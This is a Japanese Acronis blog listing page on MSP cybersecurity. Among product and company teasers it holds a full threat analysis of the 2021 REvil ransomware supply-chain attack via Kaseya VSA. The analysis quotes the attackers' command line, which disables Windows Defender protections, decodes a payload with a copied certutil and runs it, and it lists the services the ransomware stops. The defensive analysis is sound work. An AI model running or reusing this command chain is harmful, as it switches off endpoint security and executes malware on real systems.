--- title: Acronis ブログ description: 最新のサイバーセキュリティとサイバープロテクション、研究、脆弱性、脅威および攻撃についての最新情報をいち早く入手しましょう。 canonical_url: https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/6/ locale: ja last_updated: 2026-10-27 --- # Acronis ブログ [TRU Security → Acronis Threat Research Unit からの最新情報](https://www.acronis.com/ja/tru/) [Acronis ブログ](https://www.acronis.com/ja/blog/) MSPのサイバーセキュリティ # MSPのサイバーセキュリティ のすべての記事 [![Image 1: PHPの重大な脆弱性「php2shell」：知っておくべきことと対策](https://staticfiles.acronis.com/images/blog-cover/4583b18850c821d2fee297544f71803f.png) 2026年10月22日(木) — 5 分で読める内容です PHPの重大な脆弱性「php2shell」：知っておくべきことと対策 PHPの重大な脆弱性「php2shell」の影響、アクロニスの対応、PHPサーバーへの修正プログラムの適用と侵害の有無を確認するための手順を解説します。](https://www.acronis.com/ja/blog/posts/critical-php2shell-vulnerabilities-what-you-need-to-know/) [2022年4月24日(日) — 7 分で読める内容です ![Image 2: 受講パートナー企業は売上104％増！リニューアルしたトレーニング認証プログラムAcronis Academy](https://staticfiles.acronis.com/images/blog-cover/6c50bd58d581e3415ce25ba081585034.png) 受講パートナー企業は売上104％増！リニューアルしたトレーニング認証プログラムAcronis Academy Acronis #CyberFit Academyをご存じでしょうか？アクロニスのパートナー企業の皆様向けのトレーニングおよび認証プログラムであり、受講企業は売り上げを104％増加させ、問い合わせを23%減少させるなど大きな成果を上げています。当社のパートナー様であれば、トレーニングは無料で受けていただくことが可能です。](https://www.acronis.com/ja/blog/posts/acronis-cyberfit-academy/) [2022年4月12日(火) — 11 分で読める内容です ![Image 3: MSPのためのWindows 11対応ガイド：クライアントを切り替えるタイミングは？](https://staticfiles.acronis.com/images/blog-cover/3f27fb3705eeb7b4d41320ca82bc9442.png) MSPのためのWindows 11対応ガイド：クライアントを切り替えるタイミングは？ Windows 10ユーザーはWindows 11に無料でアップグレードできますが、普及率はまだ低いようです。MSP（マネージドサービスプロバイダー）がクライアントをWindows 11にアップグレードするタイミングと、この大規模な移行を管理する際の課題を克服する方法について解説します。](https://www.acronis.com/ja/blog/posts/msp-guide-for-windows-11/) [2022年4月4日(月) — 8 分で読める内容です ![Image 4: Acronis SP Protectionでクライアントと自社を保護](https://staticfiles.acronis.com/images/blog-cover/2958e98d5b2d91f045b5030f179470d4.png) Acronis SP Protectionでクライアントと自社を保護 ビジネスはこれまで以上に、特に新型コロナウイルス感染症のパンデミックによるリモートファーストのワークモデルの採用が拡大するにつれ、データとITに依存するようになっています。このデータへの依存により、効果的かつ包括的なサイバープロテクションのニーズが急激に高まっており、クライアント組織の運用を維持しているサービスプロバイダー（SP）は、とりわけ強くこの脅威を実感しています。](https://www.acronis.com/ja/blog/posts/secure-clients-and-yourself-acronis-sp-protection/) [2022年3月25日(金) — 8 分で読める内容です ![Image 5: サイバーレジリエンスの難しさ：ソフトスキルがその成功の鍵を握る](https://staticfiles.acronis.com/images/blog-cover/d6dc8bb80da5a791e976d4116fa0172d.png) サイバーレジリエンスの難しさ：ソフトスキルがその成功の鍵を握る 世界中の企業が、増大し続けるサイバー攻撃の脅威に立ち向かっています。2020年から2021年までにサイバー攻撃件数は125%増加。2021年には2億件超のレコードがセキュリティ侵害の対象になりました。中小企業は特にサイバー犯罪に対して脆弱です。1回のセキュリティ侵害で平均20万ドルの費用が発生し、被害を受けた企業の60%はインシデント発生から6か月以内に廃業に追い込まれています。](https://www.acronis.com/ja/blog/posts/cyber-resilience-is-hard-soft-skills-to-making-it-a-success/) [2021年9月21日(火) — 5 分で読める内容です ![Image 6: サイバープロテクションの威力を評価:評価額25億ドル超でアクロニスが2.5億ドルを超える資金を調達](https://staticfiles.acronis.com/images/blog-cover/701297a7531d17743bf6f7c5f50e97c8.png) Acronis Cyber PlatformがJamf Proと統合 アクロニスでは、サービスプロバイダーのパートナーの皆様に、当社の包括的なサイバープロテクションソリューションを、既に利用しているツールと併せて最大限に活用していただけることを目指しています。このたび、Acronis Cyber Platformが、Apple社のエコシステム向けの包括的なエンタープライズ管理ソリューションであるJamf Proと統合したことを発表いたします。この統合によって、MSPの皆様は、顧客のmacOSデバイスに対するサイバープロテクションサービスを強化しながら、内部の処理を簡素化することが可能になります。](https://www.acronis.com/ja/blog/posts/acronis-cyber-protect-cloud-now-integrates-jamf-pro/) [2021年9月3日(金) — 4 分で読める内容です ![Image 7: マネージドサービスプロバイダー（MSP）が拡張された保護機能、改善されたUXおよび管理の柔軟性を獲得](https://staticfiles.acronis.com/images/blog-cover/8d171c9d5dce1ca04801e22dc732de75.png) Acronis Cyber Platformの新機能-2021年8月 MSPは顧客のデータのセキュリティ、管理および整合性をサポートしながら、生産性と優れたユーザーエクスペリエンスを維持する必要があります。これらは大きな責任ですが、アクロニスは定期的な製品アップデートと受賞歴のあるサイバープロテクションソリューションの画期的な新機能により、パートナーの皆さまの課題解決を支援します。 今月、アクロニスはデータの可視性と管理を強化するAcronis Cyber Platformの新機能の公開を発表し、無償で提供される新しいリモートアクセスツールAcronis Cyber Desktopをご紹介いたします。 ハードではなくスマートに働く 2021年8月にリリースされたAcronis Cyber Platformには、サービスプロバイダー向けの新機能がいくつか含まれており、管理プロセスを合理化し、セキュリティを強化し、顧客に提供する価値をより明確に示すことができるように設計されています。 WindowsおよびmacOSのネットワーク保護フォルダパスを差別化 WindowsまたはmacOSのいずれかのネットワークフォルダ保護復元パスを個別に指定することにより、単一の保護計画でWindowsとmacOSの両方のワークロードを保護することができます。 顧客向けエグゼクティブサマリーレポートのための直感的なセクション管理 エグゼクティブサマリーレポートは効率的に顧客にサービスの価値を示すことができます。レポート内のセクションの追加や命名、順序変更により、顧客のビジネス組織をより的確に表します。 電子署名の中で使用されたリンクの視認性と管理を強化 ユーザーは、Advanced File Sync and Shareの電子署名機能のためのリンクをより効率的に管理できるようになりました。これにより、共有されたリンクを表示、編集、削除できるようになりました。また、リンクの種類や有効期限ごとに履歴が表示されるようになりました。 今回のアップデートでは、Acronis Cyber Desktopも導入されています。直感的なリモートサポートおよびリモートアクセスツールツールであるAcronis Cyber Desktopは、クライアントがエンドポイントに物理的に存在しない場合でも、離れた場所から迅速かつ容易に顧客をサポートすることで、効率を最大限に高めることができます。 リモート環境で問題を診断・解決し、顧客の生産性をサポート お客様のビジネスに最も適したスケジュールで無人のデバイスにアクセスすることにより、クライアントの効率性と自社の効率性との両方を向上 Acronis Cyber Desktopは現在、Windows、macOS、Linuxなど、さまざまなプラットフォームやOSで利用可能です。 今月リリースされた新機能の詳細についてはリリースノートをご覧ください。また、What’s New ページ では、Acronis Cyber Platformの今後の最新の機能追加および強化についてご紹介しています。](https://www.acronis.com/ja/blog/posts/whats-new-in-acronis-cyber-protect-cloud-august-2021/) [2021年7月9日(金) — 11 分で読める内容です ![Image 8: サイバープロテクションの威力を評価:評価額25億ドル超でアクロニスが2.5億ドルを超える資金を調達](https://staticfiles.acronis.com/images/blog-cover/701297a7531d17743bf6f7c5f50e97c8.png) ランサムウェア「REvil」によるMSPへのサプライチェーン攻撃について 大規模なSolar Winds社へのソフトウェアサプライチェーン攻撃のことを人々が忘れかけていた頃、またしても注目を集める攻撃が起こりました。今回は、REvil/SodinokibiランサムウェアグループがKaseya社のITマネジメントソフトウェア「VSA」の悪意あるアップデートを配信したことにより、世界中の数十ものMSPとその顧客がランサムウェアによって危険に晒されたようです。例えば、スウェーデンの小売企業Coopは、サイバー攻撃の影響を受け、土曜日に800以上の店舗を閉鎖しました。 アクロニス サイバープロテクションオペレーションセンター（CPOC）のグローバルネットワークは、攻撃の詳細がまだ解明されていないため、状況を監視しています。現時点で判明していることは、次の通りです。 最初の攻撃 2021年7月2日の午後、攻撃者はランサムウェアの配布を開始しました。この攻撃が、米国の独立記念日という祝日による長期休暇のはじめに怒ったことは驚くべきことではありません。これはサイバー犯罪者に人気がある戦術です。というのも、このような時期、企業はいつもより少ないスタッフで営業していることが多いため、サイバー犯罪者が攻撃を実行しやすくなるからです。 Kaseya社における最初の感染要因と、正確な内容はまだ明らかになっていません。同社によると、攻撃者はVSAマネージャのゼロデイ脆弱性を利用してアクセスし、接続されているすべてのクライアントに対して独自のコマンドを実行した可能性が高いようです。Kaseya社のチームはこの件を調査中で、ウェブサイトに定期的に最新情報を掲載しています。 どうやら、オランダの研究者が以前、CVE-2021-30116を含む管理ソフトウェアにいくつかの脆弱性があることを報告していたようですが、それがサイバー犯罪者に利用されたのと同じ脆弱性であるかどうかは、まだ分かっていません。発見後、Kaseya社はさらなる感染を防ぐための予防措置として、同社のSaaSサーバーをシャットダウンしました。顧客には、オンプレミスにインストールされたVSAをシャットダウンすることを推奨しています。 情報流出 攻撃者がVSAアプリケーションにアクセスできるようになると、VSAへの管理者アクセスを停止し、接続されているすべてのクライアントに「Kaseya VSA Agent Hot-fix」という名称の悪意のあるアップデートの配布を開始します。 このアップデートは、リアルタイムモニタリングの無効化やマルウェアレポートの無効化など、ローカルのセキュリティ設定を低下させるために、複数のPowerShellコマンドを起動します。 C:\WINDOWS\system32\cmd.exe /c ping 127.0.0.1 -n 4223 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe PowerShellコマンドは、マイクロソフト社の正規のcertutilツールを使用して暗号化されたペイロードファイルagent.crtを復号化します。これは、多くの攻撃で見られる一般的な「Living Off The Land ( LOTL：環境寄生型／自給自足型 ) 」攻撃です。今回の攻撃では、最初にC:Windows\cert.exeにツールがコピーされ、次に復号化されたペイロード (agent.exe) がKaseya社のテンポラリディレクトリに作成されます（通常はc:\kworking\agent.exeにあります）。 agent.exeファイルは、「PB03TRANSPORT LTD.」に対して発行された証明書を使用してデジタル署名されており、2つのファイルが含まれています。ファイルが実行されると、REvilの暗号化モジュールである「mpsvc.dll」と、古いもののクリーンなWindows Defenderのバイナリである「MsMPEng.exe」がWindowsフォルダにドロップされます。次に、Windows Defenderアプリケーションが起動し、暗号化が開始される前にdllサイドロードの脆弱性を介して悪意のあるペイロードが読み込まれます。 このドロッパーが有効なデジタル証明書で署名されており、悪意のあるdllをサイドロードするために正規のWindows Defenderバイナリを使用しているという事実は、従来のセキュリティツールによる検出をより困難にしています。なぜなら、これらのツールは署名されたファイルを検知せず、すり抜けることが多いからです。しかし、Acronis Cyber Protectソリューションは、特許取得済みのプロセスインジェクション検知により、これに騙されることなくマルウェアを検知します。その後、デジタル証明書は失効しています。 ランサムウェア攻撃によくみられるように、このREvilの亜種は、バックアップを削除し、バックアップやセキュリティアプリケーションに関連付けられたサービスを停止しようとします。設定ファイルは、次のキーワードを持つプロセスを停止するよう設定されています：veeam、memtas、sql、backup、vss、Sophos、svc$、mepocs。Acronis Cyber Protectは、自己防御機能によりセキュリティモジュールの改ざんやバックアップの削除を防ぎます。 保護機能 Acronis Cyber Protectは、複数のレベルでこの攻撃を事前に検知、阻止します。 脅威にとらわれないAcronis Active Protectionのランサムウェア対策テクノロジーは、ランサムウェア攻撃をブロックし、攻撃によって影響を受ける可能性のあるファイルを自動的に復元します。 プロセスインジェクションヒューリスティックは、マルウェアによる不審な動作を検知、ブロックします。 静的シグネチャとファイルレピュテーションが、実行前にファイルをブロックします。 高度な振る舞い検知エンジンにより、環境寄生型 (Living Off The Land) 攻撃を検知することができます。 URLフィルタリングにより、コマンド＆コントロールサーバーへのアクセスをブロックできます。 Acronis Cyber Protectは、サイバーセキュリティとバックアップおよびディザスタリカバリを独自に統合しているため、影響を受けたワークロードを迅速に復元し、業務を継続させることができます。 動機 Solar Winds社へのソフトウェアプライチェーン攻撃がデータ流出に焦点を当てていたのとは対照的に、今回の事件は金銭的な動機によるものと思われます。これまでの分析で、悪意のあるアップデートには、データを流出させるためのコマンドは含まれていませんでした。このような二重の脅迫は、REvil/Sodinokbiを含むランサムウェアグループで非常に人気があります。今年はすでに1,100社以上の企業がデータをリークサイトで公開しています。 恐らく攻撃者たちは、ソフトウェアサプライチェーン攻撃の技術的な性質から、データの発見と流出を省略し、代わりにデータの暗号化を直接行うことにしたのかもしれません。今回のREvilの身代金要求のスクリーンショットを見ると、4万5千米ドルから500万米ドルまでと様々なようです。いまのところ身代金の支払いを認めた企業はありません。 REvilグループはリークサイトで、100万台以上のコンピューターの感染に成功したと主張しています。彼らは汎用的な復号化ツールを7,000万ドルで提供するとしていますが、これはJBS社が6月に支払ったとされる1,100万ドルという単独の身代金要求と比べると、かなり低い金額だと思われます。 一部の研究者は、文字列の中にジョー・バイデン大統領、ドナルド・トランプ前大統領、Black Lives Matter（黒人の命を守れ）といった記載があることから、政治的な動機に基づく破壊行為である可能性を示唆しています。 例えば、次のレジストリキーに設定された内容が保存されています。 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BlackLivesMatter 概要 MSPは価値の高いターゲットです。攻撃対象が大きく、サイバー犯罪者にとっては格好の標的となります。平均して1つのMSPが100社のITを管理することができるため、犯罪者は100社の異なる企業を攻撃するのではなく、1つのMSPをハッキングするだけで、その100社の顧客にアクセスすることができます。 昨年発表した「Acronis Cyberthreat Report 2020」で私たちが予測したように、今年はますますMSPが標的になるでしょう。MSPはさまざまな手法で攻撃を受ける可能性がありますが、中でもリモートアクセスソフトウェアの設定が不十分であることが、攻撃経路の上位に挙がっています。サイバー犯罪者は二段階認証（2FA）が設定されていないという弱点やフィッシング技術を利用して、MSPの管理ツールにアクセスし、最終的には顧客のPCにまでアクセスします。 MSPの管理ツールを介してランサムウェアが配布されるのは、目新しいことではありません。2年以上前、ランサムウェアグループ「GandCrab」は、ConnectWise管理ソフトウェアのKaseyaプラグインの脆弱性を利用してランサムウェアを展開しました。 この攻撃ベクトルについて詳しく知りたい方は、まさにこのトピックを取り上げたBlackHat US21の講演「Ransomware attacks against MSPs a nightmare for SMBs」にご参加いただくことをお勧めします（英語のみ）。 信頼できるMSPを経由したランサムウェア攻撃は、今回が初めてではなく、また今後も続くでしょう。侵害されたMSPは、サプライチェーン攻撃において忘れられたリンクとなるからです。そのため、このような事態を防ぐためには、総合的なサイバープロテクションの導入が不可欠です。 なお、サイバー攻撃の被害に遭わないための方法については、当社のブログをご覧ください。 IoC: コミュニティを通じて報告されたサンプル サイドローディングに使用されているWindows Defenderアプリケーションの削除](https://www.acronis.com/ja/blog/posts/revil-ransomware-supply-chain-attack-against-msps/) [2021年6月24日(木) — 16 分で読める内容です ![Image 9: 機械学習(ML)とは何か？その定義と重要性](https://staticfiles.acronis.com/images/blog-cover/f528134627800e9b66052ebacde873cd.png) 機械学習(ML)とは何か？その定義と重要性 人工知能（AI）、機械学習（ML）、その他の高度なコンピューティングの概念などの用語の違いを理解していない人は少なくありません。説明を求めている方や、これらの技術が現代のサイバーセキュリティ・ソリューションで使用される理由と方法を知りたい方は、この記事をご参照ください。](https://www.acronis.com/ja/blog/posts/machine-learning/) [2021年6月16日(水) — 7 分で読める内容です ![Image 10: Advanced Email Securityでメールによるサイバー脅威を阻止](https://staticfiles.acronis.com/images/blog-cover/e44479aa9902652a121944102811a7bd.png) Advanced Email Securityでメールによるサイバー脅威を阻止 今日、マルウェアの94% とソーシャルエンジニアリング攻撃の96%がメールを介して配信されています。マネージドサービスプロバイダー（MSP）にとって、メールセキュリティは最優先事項ですが、最近のアクロニス サイバープロテクションウィークのグローバルレポートで明らかになったように、この脅威に対応するには、サービスを構築するために新しいサイバーセキュリティツールを導入するだけでは不十分です。実際、セキュリティプロフェッショナルの半数以上が、セキュリティツールの数が多すぎるとセキュリティに悪影響を及ぼし、リスクが高まること認めています。](https://www.acronis.com/ja/blog/posts/stop-email-cyberthreats-advanced-email-security/) [2021年5月24日(月) — 6 分で読める内容です ![Image 11: マネージドサービスプロバイダー（MSP）が拡張された保護機能、改善されたUXおよび管理の柔軟性を獲得](https://staticfiles.acronis.com/images/blog-cover/8d171c9d5dce1ca04801e22dc732de75.png) マネージドサービスプロバイダー（MSP）が拡張された保護機能、改善されたUXおよび管理の柔軟性を獲得 サービスプロバイダーは、拡大し続ける脅威からさまざまなマシンや環境を保護しなければならず、サービスを強化するために使用するソリューションがそのような脅威に対応できることが重要です。2021年4月にリリースされたAcronis Cyber Platformには、UXや時間短縮のための改善点に加え、パートナー企業が顧客のエンドポイントを保護するために必要な機能を確実に利用できるようにするために、非常に求められている機能が盛り込まれています。Acronis Cyber Platformは、サイバーセキュリティ、データ保護、エンドポイント保護管理を統合したサービスプロバイダー向けの唯一のソリューションであり、必要なサイバー保護機能がすべて提供されるだけでなく、毎月のアップデートにより、最新の要件を満たし、最新の脅威に対抗できるサイバープロテクションサービスを提供することができます。](https://www.acronis.com/ja/blog/posts/msps-gain-expanded-protection-capabilities-improved-ux-and-management-flexibility/) [2021年5月21日(金) — 10 分で読める内容です ![Image 12: ソフトウェアパッチでマルウェア感染を回避する3つの方法とは](https://staticfiles.acronis.com/images/blog-cover/8d0c497727c86fbca9b21c6df4a91bfd.png) ソフトウェアパッチでマルウェア感染を回避する3つの方法とは ソフトウェアパッチの目的は、ソフトウェアのリリース後に判明した脆弱性の解消やソフトウェアの欠陥の修正、新機能の追加、性能の向上などです。新しくリリースされたパッチをタイムリーにインストールすることは、重要なメンテナンスのステップです。パッチは、システムを最新かつ安定した状態に保ち、パフォーマンスを最適化し、新たなマルウェア感染の脅威を軽減します。](https://www.acronis.com/ja/blog/posts/avoid-malware-infection/) [2021年5月19日(水) — 8 分で読める内容です ![Image 13: サイバープロテクションの威力を評価:評価額25億ドル超でアクロニスが2.5億ドルを超える資金を調達](https://staticfiles.acronis.com/images/blog-cover/701297a7531d17743bf6f7c5f50e97c8.png) サイバープロテクションの威力を評価:評価額25億ドル超でアクロニスが2.5億ドルを超える資金を調達 アクロニスとIT業界に新しい日が訪れました。アクロニスは本日、CVCキャピタルパートナーズVIIをはじめとする投資家が主導する資金調達ラウンドで2億5,000万ドル以上を調達したことを発表しました。このラウンドでは、アクロニスの企業価値は25憶ドル超と評価されました。](https://www.acronis.com/ja/blog/posts/recognizing-power-cyber-protection-acronis-gets-250m-investment-valuation-25b/) [1](https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/1/) [2](https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/2/) [3](https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/3/) [4](https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/4/) [5](https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/5/) [6](https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/6/) [7](https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/7/) [8](https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/8/) [9](https://www.acronis.com/ja/blog/tags/msp-cybersecurity/page/9/)